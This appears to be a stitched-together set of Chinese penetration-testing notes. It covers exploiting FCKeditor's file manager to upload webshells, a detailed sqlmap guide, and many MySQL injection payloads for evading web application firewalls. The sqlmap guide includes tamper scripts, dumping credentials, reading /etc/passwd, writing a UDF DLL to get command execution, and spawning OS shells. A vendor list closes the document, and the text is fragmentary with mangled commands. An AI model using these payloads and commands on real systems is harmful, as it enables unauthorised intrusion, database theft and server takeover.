（1）FCKeditor/editor/filemanager/browser/default/connectors/test.html



（2）FCKeditor/editor/filemanager/upload/test.html



（3）FCKeditor/editor/filemanager/connectors/test.html



（4）FCKeditor/editor/filemanager/connectors/uploadtest.html

FCKeditor/_samples/default.html



FCKeditor/_samples/asp/sample01.asp



FCKeditor/_samples/asp/sample02.asp



FCKeditor/_samples/asp/sample03.asp



FCKeditor/_samples/asp/sample04.asp



FCKeditor/_samples/default.html



FCKeditor/editor/fckeditor.htm



FCKeditor/editor/fckdialog.html

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/　

FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx

fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php

http://www.somesite.com/images/upload/201806/image/1.asp/1.jpg 

Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

http://***.1**.***.***:8081/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=e:/

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/

<form id="frmUpload" enctype="multipart/form-data"

action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>

<input type="file" name="NewFile" size="50"><br>

<input id="btnUpload" type="submit" value="Upload">

</form>

AppType  application/x-httpd-php  .jpg

<FilesMatch "cimer">

SetHandler application/x-httpd-php

</FilesMatch>

https://www.shodan.io/search?query=”FCKeditor”对关键字进行查询，不同的关键字其出来的效果不一样。

http://***.1**.***.***:8081/fckeditor/editor/filemanager/upload/test.html

-u "url"

-u "url" --risk3 --level3 //如果这次也测不出来的话我就会说在心里说一句sqlmap哪里强大了，同时也会感叹自己的知识储备太垃圾了

sqlmap is anopen source penetration testing tool that automates the process of detectingand exploiting SQL injection flaws and taking over of database servers. Itcomes with a powerful detection engine, many niche features for the ultimatepenetration tester and a broad range of switches lasting from database fingerprinting,over data fetching from the database, to accessing the underlying file systemand executing commands on the operating system via out-of-band connections.（源于官方介绍）

l   B: Boolean-based blind SQL injection（布尔型注入）



l   E: Error-based SQL injection（报错型注入）



l   U: UNION query SQL injection（可联合查询注入）



l   S: Stacked queries SQL injection（可多语句查询注入）



l   T: Time-based blind SQL injection（基于时间延迟注入）



l   Q: Inline SQL Injection  (内联注入)

[size=20]1  [/size]在使用-v参数的时候，尽量选择，3级别，次级别可以显示注入的参数。 例如：sqlmap -v3 -u www.potian.com 

[size=20]2  [/size]当一件知道数据库信息的时候，使用-d直接连接数据库，注意-D是指定目标库，要区分。

    例如：-d mysql://POTIAN : 123123 @127.0.0.1:3306/ ORDER [size=20]3 [/size] 	 当使用Burp或WebScarab保存了日志的时候，想从日志文件中筛选目标，可使用-I使用 绝对路径地址即可。 

4  	 -g可以使用google的搜索结果，例如，直接搜索uid=，查找具有此参数的站点，直接使用sqlmap调用google结果，例：sqlmap  -g inurl:php?uid=。（收集了一些语句，在附表）当需要使用-g inurl:php?uid=等参数时，默认无法访问，可使用此参数+海外代理方式使用此功能。当代理需要验证的时候，使用-cre指定身份信息，需要使用代理轮巡时，使用文件加载代理设置列表，使用代理轮询也可在对访问ip次数进行了验证的场景使用。（鉴于我国国情，不建议使用）

5	服务端允许的情况下，–method改变默认的http方法，和其他参数配合使用，例如–data，改变为post然后推送数据。   

6  	 默认情况下sqlmap的HTTP请求头中User-Agent值是：sqlmap/*.*-dev-xxxxxxx(http://sqlmap.org) 可以使用–user-agent参数来指定想使用的UA，同时也可以使用–random-agent参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候，会尝试对User-Angent进行注入.另外UA是绕过waf的参数，–user-agent=                –random-agent这两个参数可对waf针对恶意ua的防控进行绕过。   

  7  	 指定http请求中的header里的host参数、在请求中伪造referer，有些waf和安全产品等会对refer进行限制，仅允许本站referer，当waf参数对referer进行了限制后，可使用此参数进行绕过。当–level参数设定为3或者3以上的时候会尝试对referer注入指定其他的header信息，XFF等，例如strust2-045使用了Content-Type   

  8  	 HTTP代理身份验证凭据，可自动使用username：password和秘钥文件，例如有些访问会使用key文件，集团sso最爱出现此种场景，在这种身份验证凭据的需求中，也可使用-I参数使用burp等代理记录文件来使用身份凭据

  9  	 设置http请求间隔时间，在绕过需求时使用，例如单ip单位时间访问多少次，可配合代理和多代理参数使用。超时连接后的尝试间隔，默认30s，可手动调整，一般–timeout和–retries配合使用   

  10	有的网站会对提交的参数进行编码或加密，这时候需要根据某个参数的变化，而修改另个一参数，才能形成正常的请求，这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。

例子：–eval=”"import hashlib;hash=hashlib.md5(id).hexdigest()”"上面的请求就是每次请求时根据id参数值，做一次md5后作为hash参数的值。”   

  11  	 sqlmap默认测试所有的GET和POST参数，上文提到过，当–level的值大于等于2的时候也会测试HTTP Cookie头的值，大于等于3的时候也会测试User-Agent和HTTP Referer头的值。这时候可以手动指定-p参数设置想要测试的参数。 例如：-p “”id,cookie”"但是有个别参数不想测试的时候可以使用–skip=“user-agent”参数。 

  12  	 数值处理：参数：–invalid-bignum –invalid-logical这两个参数对报错数据、无效数据进行更改，例如默认报错UID=-20,可以通过制定以上参数制定无效的大数字和逻辑，比如uid=999999999和uid=20 and a=b

参数：–prefix,–suffix在注入的payload的前面或者后面加一些字符，来保证payload的正常执行，例如在语句中增加–prefix “”’)”" –suffix “”AND (’1’=’1″”                

  13  	 –tamper可从tamper库里查找相关内容，使用–tamper tamper/*.py方式指定

  14  	 上文多次解释–level对测试参数的影响，一共有五个等级，默认为1，sqlmap使用的payload可以在payloads.xml中看到，你也可以根据相应的格式添加自己的payload内容，默认也有一些，可定制。

–level的值大于等于2的时候也会测试HTTP Cookie头的值，大于等于3的时候也会测试User-Agent和HTTP Referer头的值，建议最高级别，会更慢、测试参数更复杂。 

  15  	 risk从0-3共有四个风险等级，默认是1，risk1会测试大部分的测试语句，risk2会增加基于事件的测试语句，3会增加OR语句的注入测试。测试的语句同样可以在payloads.xml中找到，可以自行添加payload。

警告：当使用高级别时，可能会使用drop、update等高危语句对整表、整库造成影响，可能导致更新的整个表，可能造成很大的风险。 

  16  	 “sqlmap测试结果取决于返回内容，当页面在刷新或更新后，可能导致返回不同的内容，特别是页面有动态内容的情况下。为了避免误报，可指定字符串或者正则表达式来区分原始页面和报错页面（–string参数添加字符串，–regexp添加正则），也可以提供一段字符串在原始页面与true下的页面都不存在的字符串，而false页面中存在的字符串（–not-string添加）。

用户也可以提供true与false返回的HTTP状态码不一样来注入，例如，响应200的时候为真，响应401的时候为假，–code=200。                

  17  	 默认sqlmap会把BEUSTQ六中注入方式全来一遍，可根据实际情况进行调整，例如可使用时间延迟，看网站响应时间来判断是否有注入，可根据报错判断注入。如果不是很懂，就不用管，虽然时间长点，但很全面。 

B:Boolean-based blind SQL injection（布尔型注入）

E:Error-based SQL injection（报错型注入） 

U:UNION query SQL injection（可联合查询注入） 

S:Stacked queries SQL                injection（可多语句查询注入） 

T: Time-based blind SQL injection（基于时间延迟注入） 

Q: Inline SQL Injection  (内联注入)

当使用基于时间延迟注入的盲注时，时刻使用–time-sec参数设定延时时间，默认是5秒，可以根据环境记性调整，比如网络延迟很大，可适当增加延时时间   

  18  	 –union-cols设定的值为一段整数范围，制定区间，此数值默认为1-10，随着–levle增加，当为5的时候增加为50，当level级别和取值范围不匹配，在低级别需求更大的范围，可通过设定–union-cols的值来实现。设定union查询使用的字符，默认使用NULL，但是可能会返回失败，–union-char指定UNION查询的字符。指定查询的表，配合上文暴力破解的字符、范围等来详细使用。   

  19  	 在一旦注入成功且获得精确信息通过以下详细参数来指定检索、枚举动作和动作执行对象：检索DBMS的指纹特征、数据库、host值、用户身份、并对用户、密码、权限、角色进行枚举也就是爆破。然后尝试枚举数据库、数据库里的表、数据库里的内容、可以使用count来统计条目等操作。dump和dump-all就是脱裤和全脱的区别，dump某表的十条八条可能没事儿，dump-all注定要浪迹天涯，也就是所谓的从脱裤到跑路的开始，通过-D\-T\-C来制定索要枚举的库、表、和列，使用-X来排除不想要的列，特别是有多列且有无意义字段的时候，使用-X可大大节省时间。                –exclude-sysdbs参数，将不会获取数据库自带的系统库内容，可减少干扰内容，对-count的使用和枚举信息的使用建议搭配此参数来排除系统库。

当我们不想跑路的时候，那么请使用下面内容：     

–start=LIMITSTART  First query output entry to retrieve指定从第几行开始输出，如：

–start=1                    

–stop=LIMITSTOP    

Last query output entry to retrieve

指定从第几行停止输出

–stop=10 

–first=FIRSTCHAR   

First query output word character                to retrieve

指定从第几个字符开始输出

–first 1     

–last=LASTCHAR

Last query output word character to retrieve

指定从第几个字符停止输出–last10

  20  	 暴力检查：猜测检查常见的、通用的表名和列名，可通过下面两个文件进行定制化，暴力破解的表在txt/common-tables.txt文件中，暴力破解的列名在txt/common-columns.txt中

  21  	 对文件系统、操作系统的交互和使用必须需要相应的权限，前面提到要求具有特定的函数执行特权，一般要求root。针对文件系统的读写：对–file-read配置绝对系统路径，可读取相应文件内容，可以是文本，也可以是二进制，条件是必须拥有相对应特权，已知的是mysql、postgresql和sqlserver。写入也是同样，往远端后台的DBMS里写入一个本地文件，可通过–file-dest指定绝对文件路径。” 当然和上面可以配合使用，当数据库为MySQL，PostgreSQL或Microsoft                SQL Server，并且当前用户有权限使用特定的函数。然后通过上面的文件系统管理上传一个库，使用可执行系统命令的sys_exec()和sys_eval()，甚至xp_cmdshell存储过程 –os-shell参数也可以模拟一个真实的shell，可以输入你想执行的命令。 Meterpreter配合使用 –os-pwn，–os-smbrelay，–os-bof，–priv-esc，–msf-path，–tmp-path配合Meterpreter使用，当前用户有权限使用特定的函数，可以在数据库与攻击者直接建立TCP连接，这个连接可以是一个交互式命令行的Meterpreter会话，sqlmap根据Metasploit生成shellcode，四种方式执行它： 

1.通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode，支持MySQL和PostgreSQL数据库，参数：–os-pwn。 

2.通过用户自定义的函数上传一个独立的payload执行，MySQL和PostgreSQL的sys_exec()函数，Microsoft                SQL Server的xp_cmdshell()函数，参数：–os-pwn。

3.通过SMB攻击(MS08-068)来执行Metasploit的shellcode，当sqlmap获取到的权限足够高的时候（Linux/Unix的uid=0，Windows是Administrator），–os-smbrelay。

4.通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004)，在内存中执行Metasploit的payload，参数：–os-bof。

  22  	所见即所得，注册表连接指的是windows系统，相信大家都有windows系统知识，不懂注册表基本就不懂windows系统，所有的windows系统配置在注册表里都可实现，比如开启远程连接、比如新建用户、比如组策略配置、比如防火墙等等，reg可对注册表内容进行读取、编辑、和删除，上面和下面相配合可实现对指定的key、value、data和类型进行操作。   

  23  	 –batch

在使用sqlmap时，有时一些响应需要用户交互，输入Y、N、skip、quit等，使用此选项可使用默认配置。 

–output-dir=  

指定输出路径，方式控制台输出过多，无法查看，也方便记录 

–gpage=GOOGLEPAGE 

好像默认是使用google搜索的前100个文件，当使用前面的-g参数，配合此参数指定页面 

–identify-waf  

进行WAF/IPS/IDS保护测试，目前大约支持30种产品的识别 

–mobile 

使用移动产品UA，把sqlmap伪装成手机，也可使用前面的

-user-agent

自己指定 

–smart 

智能深度启发式扫描，或许会有惊喜呢。

 –wizard 和上面的完全不同，纯新手选择，一步步让你输入url等参数，基本输入个url就行。 

1. 原始网页：http://www.potian.com/mysql/product/user_info.phpuid=1024 
2. 构造url1：http://www.potian.com/mysql/product/user_info.phpuid=1024+AND+1=1
3. 构造url2：http://www.potian.com/mysql/product/user_info.phpuid=1 024+AND+1=1025     

sqlmap.py -u  http://www.potian.com/mysql/product/user_info.php?uid=1 024 

“sqlmap.py -m target.txt” //注意target.txt跟sqlmap在同一个目录下。

1. 修改\sqlmap\tamper\halfversionedmorekeywords.py return match.group().replace(word, ”/*!0%s” % word) 为：return match.group().replace(word, ”/*!50000%s*/” % word) 
2. 修改\sqlmap\xml\queries.xml <cast query= ”CAST(%s ASCHAR)”/>为：<castquery=”convert(%s,CHAR)”/> 
3. 使用sqlmap进行注入测试sqlmap.py -u ”http://www.potian.com/detail.php id=16″ –tamper “halfversionedmorekeywords.py” 
4. 其它绕过waf脚本方法：sqlmap.py-u “ http://www.potian.com/mysql/product/user_info.phpuid=1 024” –tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 

space2comment.py

用/**/代替空格

apostrophemask.py

用utf8代替引号

equaltolike.pylike

代替等号

space2dash.py

绕过过滤‘=’ 替换空格字符（”），（’–‘）后跟一个破折号注释，一个随机字符串和一个新行（’n’） 

greatest.py

绕过过滤’>’ ，用GREATEST替换大于号。

space2hash.py 

空格替换为#号,随机字符串以及换行符 

apostrophenullencode.py 

绕过过滤双引号，替换字符和双引号。 

halfversionedmorekeywords.py 

当数据库为mysql时绕过防火墙，每个关键字之前添加mysql版本评论 

space2morehash.py 

空格替换为#号

以及更多随机字符串

换行符 

appendnullbyte.py 

 在有效负荷结束位置加载零字节字符编码 

ifnull2ifisnull.py

绕过对IFNULL过滤，替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’ space2mssqlblank.py(mssql) 空格替换为其它空符号 

base64encode.py

用base64编码替换 

space2mssqlhash.py

替换空格 

modsecurityversioned.py 

过滤空格，包含完整的查询版本注释 

space2mysqlblank.py

空格替换其它空白符号(mysql) 

between.py 

用between替换大于号（>）

space2mysqldash.py 

替换空格字符（”）（’ – ‘）后跟一个破折号注释一个新行（’ n’） 

multiplespaces.py 

围绕SQL关键字添加多个空格 

space2plus.py 

用+替换空格 

bluecoat.py 

代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like 

nonrecursivereplacement.py

双重查询语句，取代SQL关键字 

space2randomblank.py 

代替空格字符（“”）从一个随机的空白字符可选字符的有效集 

sp_password.py 

追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 

chardoubleencode.py 

双url编码(不处理以编码的) 

unionalltounion.py 

替换UNION ALLSELECT UNION SELECT 

charencode.py

url编码 

randomcase.py 

 随机大小写 

unmagicquotes.py 

宽字符绕过 

GPCaddslashes randomcomments.py 

用/**/分割sql关键字 

charunicodeencode.py 

字符串unicode编码 

securesphere.py 

追加特制的字符串 

versionedmorekeywords.py 

注释绕过 space2comment.py 

替换空格字符串(‘‘) 使用注释‘/**/’ 

halfversionedmorekeywords.py 

• value1为测试参数，加“*”即可，sqlmap将会测试value1的位置是否可注入。 sqlmap.py -u ” http://www.potian.com/param1/value1 */param2/value2/”

• 当前用户有权限读取包含用户密码的权限时，sqlmap会现列举出用户，然后列出hash，并尝试破解。 sqlmap.py -u ” http://www.potian.com/sqlmap/pgsql/get_int.php?id=1 ” –passwords -v1     

• sqlmap.py -u ” http://www.potian.com/sqlmap/mssql/iis/get_int.asp?id=1 ” –count -Dtestdb     

• sqlmap.py -u “ http://www.secbang.com “–batch –crawl=3     

• sqlmap.py -u “ http://www.secbang.com/sqlmap/oracle/get_int_bool.php?id=1 “-b –eta     

• sqlmap.py -u “ http://www.secbang.com/pgsql/get_int.php?id=1 ” –banner –hex -v 3 –parse-errors     

• python sqlmap.py -u ” http://www.secbang.com/vuln.php?id=1 ” –mobile     

• sqlmap.py -u “ http://www.secbang.com/info.php?id=1 “–batch –smart     

• sqlmap.py -r burpsuite 抓包.txt     

• sqlmap.py -u URL –forms sqlmap.py -u URL –forms –dbs sqlmap.py -u URL –forms –current-db sqlmap.py -u URL –forms -D 数据库名称–tables sqlmap.py -u URL –forms -D 数据库名称 -T 表名 –columns sqlmap.py -u URL –forms -D 数据库名称 -T 表名 -Cusername，password –dump                    

• sqlmap.py-u “url” –file /etc/password     

• sqlmap.py -u “ http://www.potian.com/mysql/product/user_info.php?uid=1 024“–cookies “ssuid=*″  –dbs –level 3 sqlmap.py -u 注入点URL –cookie”id=xx” –level 3 sqlmap.py -u url –cookie “id=xx”–level 3 –tables( 猜表名) sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 –coiumns sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 -C username，password –dump     

• sqlmap.py -dmysql://potian:123123@www.potian.com:3306/sqlmap –sql-shell select @@version; select @@plugin_dir;     

• sqlmap.py -dmysql://potian:123123@www.potian.com:3306/sqlmap –file-write=d:/tmp/lib_mysqludf_sys.dll–file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll CREATEFUNCTION sys_exec RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ CREATE FUNCTION sys_eval RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ select sys_eval(‘ver’);     

• sqlmap.py -u “url” –os-cmd=”netuser” /*执行net user命令*/ sqlmap.py -u “url” –os-shell /*系统交互的shell*/     

• sqlmap –dbs -u”url” –delay 0.5 /* 延时0.5秒*/ sqlmap –dbs -u”url” –safe-freq /* 请求2次*/     

内联注释： /*!12345union*/select

Mysql黑魔法: select{x user}from{x mysql.user};

换行符绕过:%23%0a、%2d%2d%0a



一起去探索一下能够绕过WAF防护的数据库特性。

SELECT * FROM admin WHERE username = 1【位置一】union【位置二】select【位置三】1,user()【位置四】from【位置五】admin

(1)常见形式：/**/、/*!50000union*/等形式：

       SELECT * FROM admin WHERE username = 1 union/**/select 1,user() from admin

(2)空白字符：

       Mysql中可以利用的空白字符有：%09,%0a,,,%0d,%20,%a0；

       id=1%0aunion select 1,user() from admin

       其他形式如：%1%20、%3920、%40%20、%23%0a、%2d%2d%0a

(3)浮点数形式 ：1.1

       SELECT * FROM admin WHERE username = 1.0union select 1,user() from admin

       SELECT * FROM admin WHERE username = 1.union select 1,user() from admin

       其他形式如：%1%2e、%2%2e

(4)1E0的形式（科学计数法）：

       SELECT * FROM admin WHERE username = 1E0union select 1,user() from admin

(5) Nunion的形式：

       SELECT * FROM admin WHERE username = Nunion select 1,user() from admin 

(1)空白字符

     Mysql中可以利用的空白字符有：%09,%0a,,,%0d,%20,%a0；

     id=1 union%a0select 1,user() from admin

(2)注释符

    使用空白注释，MYSQL中可以利用的空白字符有：/**/ 、/*anything*/

(3)括号

    SELECT * FROM admin WHERE username =1 union(select 'test',(select user() from admin limit 0,1))

    select * from admin union(select 'test',(select 'asd'),(select user() from users limit 0,1))

(1)空白字符

    Mysql中可以利用的空白字符有：%09,%0a,,,%0d,%20,%a0；

    id=1 union select%091,user() from admin

(2)注释符

    使用空白注释，MYSQL中可以利用的空白字符有：/**/、/*anything*/

(3)其他字符

    %21     ！  叹号

    %2b    +    加号

    %2d     -    减号

    %40    @   电子邮件符号

    %7e    ~    波浪号

    SELECT * FROM admin WHERE username = 1 union select~1,user() from admin

(4)其他方式：

   括号：  SELECT * FROM admin WHERE username = 1 union select(1),user() from admin

   内联：  SELECT * FROM admin WHERE username = 1 union /!12345select/1,user() from admin

   @字符：SELECT * FROM admin WHERE username = 1 union select@1,user() from admin

   {括号：SELECT * FROM admin WHERE username = 1 union select {x 1},user() from admin

   引号： SELECT * FROM admin WHERE username = 1 union select"1",user() from admin

    N：    SELECT * FROM admin WHERE username = 1 union selectN,user() from admin

(1)空白字符

     Mysql中可以利用的空白字符有：%09,%0a,,,%0d,%20,%a0；

     id=1 union select 1,user()%09from admin

(2)注释符

     使用空白注释，MYSQL中可以利用的空白字符有：/**/ 、/*anything*/

(3)其他符号

     波浪号%60： SELECT * FROM admin WHERE username = 1 union(select 1,(select schema_namefrom information_schema.SCHEMATA limit 0,1))        SELECT * FROM admin WHERE username = 1 union select 1,user()`from admin

     内联注释： SELECT * FROM admin WHERE username = 1 union(select 1,(select/!schema_name/from information_schema.SCHEMATA limit 1,1))

     {括号：     SELECT * FROM admin WHERE username = 1 union(select 1,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))

      括号：      SELECT * FROM admin WHERE username = 1 union(select 1,(select(schema_name)from information_schema.SCHEMATA limit 1,1))

      双引号:     SELECT * FROM admin WHERE username = 1 union select 1,user()""from admin

      括号后面加字母：SELECT * FROM admin WHERE username = 1 union select 1,user()A from admin

      破浪号加字母：   SELECT * FROM admin WHERE username = 1 union select 1,user()`bfrom admin

 (4)浮点数、1E0的形式、N形式

      id=1 unionselect user(),2.0from admin

      SELECT * FROM admin WHERE username = 1 unionselect user(),2.0from admin

      SELECT * FROM admin WHERE username = 1 union select user(),8e0from admin

      SELECT * FROM admin WHERE username = 1 union select user(),Nfrom admin

(1)空白字符

    Mysql中可以利用的空白字符有：%09,%0a,,,%0d,%20,%a0；

    id=1 union select 1,user()%09from admin

(2)注释符

    使用空白注释，MYSQL中可以利用的空白字符有：/**/、/*anything*/

(3)其他字符

    破浪号：      id=1 union select 1,(select(schema_name)frominformation_schema.SCHEMATA limit 0,1)

    内联注释：   id=1 union select 1,(select(schema_name)from/!12345information_schema.SCHEMATA/ limit 0,1)

    {括号：      id=1 union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)

    括号：        id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)

    同一个表的情况下，大小写字母加数字都可以

    SELECT * FROM admin WHERE username = 1 union select 1,user() from123asdadmin

(1)字符串截取函数

    Mid(version(),1,1)

    Substr(version(),1,1)

    Substring(version(),1,1)

    Lpad(version(),1,1)

    Rpad(version(),1,1)

    Left(version(),1)

    reverse(right(reverse(version()),1))

(2)字符串连接函数

    concat(version(),'|',user());

    concat_ws('|',1,2,3)

(3)字符转换 Ascii(1) 此函数之前测试某云waf的时候被过滤了，然后使用ascii (1)即可 Char(49) Hex(‘a’) Unhex(61)

(1)limit处的逗号： limit 1 offset 0

(2)字符串截取处的逗号 mid处的逗号： mid(version() from 1 for 1)

(3)union处的逗号： 通过join拼接。

    SELECT * FROM admin WHERE username = 1 union select * from (select 1)a join(select{x schema_name} from information_schema.SCHEMATA limit 1,1)b

(4)操作符<>被过滤

    select * from users where id=1 and ascii(substr(database(),0,1))>64

    此时如果比较操作符被过滤，上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值。那么上面的这条sql语句可以使用greatest变为如下的子句:

    select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64总结：使用greatest()绕过比较操作符。

（1）sleep(5)/benchmark(10000000,SHA1(1))

    id=1 xor sleep%23%0a(5)

    id=1 xor sleep%2d%2d%0a(5)

    id=1 xor sleep([%20]5)

    id=1 xor benchmark%0a(10000000,SHA1(1))

    id=1 xor sleep[空白字符](5)

    Mysql中可以利用的空白字符有：%09,%0a,,,%0d,%20,%a0；

(2)select {x 1}形式

    select{x[可填充字符]1}

    Mysql中可以利用的空白字符有：%09,%0a,,,%0d,%20,%a0；

    %21  ！

    %2b   + 

    %2d   -

    %40  @

    %7e ~

rmb
value
amount
cash
fee
money
num
等

1.账号密码找回
2.账号注册
3.支付订单等

1.邮箱邮件
2.手机短信

如果设定验证码，最好不要单纯的采取一个前端验证，最好选择后端验证。
如果设定token，请确保每个token只能采用一次，并且对token设定时间参数。

1. Cookie的效验值过于简单。有些web对于cookie的生成过于单一或者简单，导致黑客可以对cookie的效验值进行一个枚举，如下图所示

平行越权：权限类型不变，权限ID改变
垂直越权：权限ID不变，权限类型改变
交叉越权：即改变ID，也改变权限

[code]www.xxx.com/resetpassword.php?id=MD5

[code]    SQL联合查询注入



    SQL搜索型注入



    SQL报错型注入



    SQL数字型注入



    SQL字符型注入



    SQL基于时间的盲注



    SQL逻辑注入



    反射型 XSS



    存储型 XSS



    DOM型 XSS



    暴力破解



    PHP远程命令执行漏洞



    本地文件包含漏洞



    任意文件包含漏洞



    任意代码读取漏洞



    目录限制文件包含



    修改任意用户密码漏洞



    任意文件上传漏洞



    JS限制文件上传



    MIME限制文件上传



    扩展名限制文件上传



    内容限制文件上传



    任意代码执行



    ssrf



    无验证码爆破



    源码泄漏



    php://input伪协议。。。。。。等等漏洞共41个

• 存储介质信息消除/粉碎机：北信源、和升达、科密、30所、利谱、交大捷普、兰天致信、中超伟业、博智软件、方德信安、深圳汇远佳禾

• 防火墙/UTM/安全网关/下一代防火墙：天融信、山石网科、启明星辰、网御星云、绿盟科技、安恒信息、蓝盾、华为、软云神州、杭州迪普、华清信安、东软、上讯信息、利谱、深信服、360、卫士通、H3C、交大捷普、信安世纪、任子行、上海纽盾、金电网安、亚信安全、北京擎企、金山、君众甲匠、优炫、海峡信息、安信华、博智软件、中科曙光、中科网威、江民科技、六壬网安、安码科技、点点星光
• 入侵检测/防御：启明星辰、绿盟科技、网御星云、360、天融信、铱迅信息、蓝盾、杭州迪普、山石网科、安恒信息、交大捷普、任子行、经纬信安、漏洞盒子/网藤风险感知、华清信安、上海纽盾、东软、恒安嘉新、安天、金山、君众甲匠、海峡信息、博智软件、H3C、中科网威、江民科技、六壬网安、青藤云安全
• 无线入侵检测/防御：360、北京锐云通信、山东闻道通信
• VPN：深信服、天融信、蓝盾、360、华为、绿盟科技、卫士通、信安世纪、奥联科技、启明星辰、南京易安联、华清信安、上海纽盾、东软、海峡信息、博智软件、H3C、江南信安、弘积科技、山东确信
• 上网行为管理：360、深信服、蓝盾、华为、莱克斯、网际思安、软云神州、杭州迪普、北信源、网鼎芯睿、陕通、上海新网程、奥联科技、交大捷普、任子行、上海纽盾、东软、Panabit、北京擎企、金山、盛世光明、博智软件、H3C、万网博通、极安、江民科技、迈科网络、六壬网安、弘积科技
• 网络安全审计：天融信、莱克斯、启明星辰、交大捷普、绿盟科技、蓝盾、广州国迈、软云神州、任子行、雨人、上海观安、上海纽盾、360、恒安嘉新、盛世光明、海峡信息、博智软件、杭州迪普、中科新业、重庆智多
• 网络流量控制：360、深信服、流控大师、Panabit、蓝盾、软云神州、网鼎芯睿、互普&溢信（IP-Guard）、东华软件、上海纽盾、灵州网络、恒安嘉新、北京擎企、金山、盛世光明、杭州迪普、万网博通、极安、迈科网络
• 网络流量分析：科来公司、东华软件、绿盟科技、网鼎芯睿、上海观安、上海纽盾、恒安嘉新、Panabit、亚信安全、安天、江民科技、华青融天、迈科网络
• 防病毒网关/防毒墙：网御星云、蓝盾、冠群金辰、杭州迪普、瑞星、360、安恒信息、山石网科、亚信安全、安天、金山、天融信、海峡信息、安信华、博智软件、江民科技
• APT未知威胁发现：安恒信息、科来公司、360、天融信、启明星辰、东巽科技、安天、绿盟科技、华为、神州网云、成都力合智远、经纬信安、兰云科技、中铁信睿安、卫达安全、恒安嘉新、宝利九章、亚信安全、安赛创想、金山、海峡信息、博智软件、知道创宇、江民科技、六壬网安
• 抗DDoS产品：绿盟科技、华为、中新网安、铱迅信息、启明星辰、傲盾、蓝盾、杭州迪普、华清信安、安恒信息、兰云科技、上海纽盾、卫达安全、任子行、青松云安全、天融信、360、北大千方、知道创宇、神荼科技
• 抗DDoS服务：阿里云、腾讯云、金山云、百度安全/安全宝、360、安恒信息、兰云科技、网宿科技、上海云盾、中新网安、卫达安全、安全狗、青松云安全、电信云堤、UCloud、智卓云盾、知道创宇、蓝盾
• 网闸：360、北京安盟、利谱、启明星辰、杭州合众、北京盖特佳、天融信、交大捷普、天行网安、伟思、金电网安、赛博兴安、东软、海峡信息、安信华、重庆爱思
• 安全隔离与信息单向导入设备/单向传输机器：深圳中锐源、中铁信安、中孚信息、杭州合众、国保金泰、天融信、赛博兴安、普世科技、锐安、金电网安、北京安盟、中科网威、山石网科、哈尔滨朗威、利谱、北京远为软件
• 网络缓存加速·产品：缓存大师WebCache、锐捷、优络普、Panabit、安信华
• 网络缓存加速·服务：知道创宇、阿里云、百度云、腾讯云、帝恩思、DNSPod
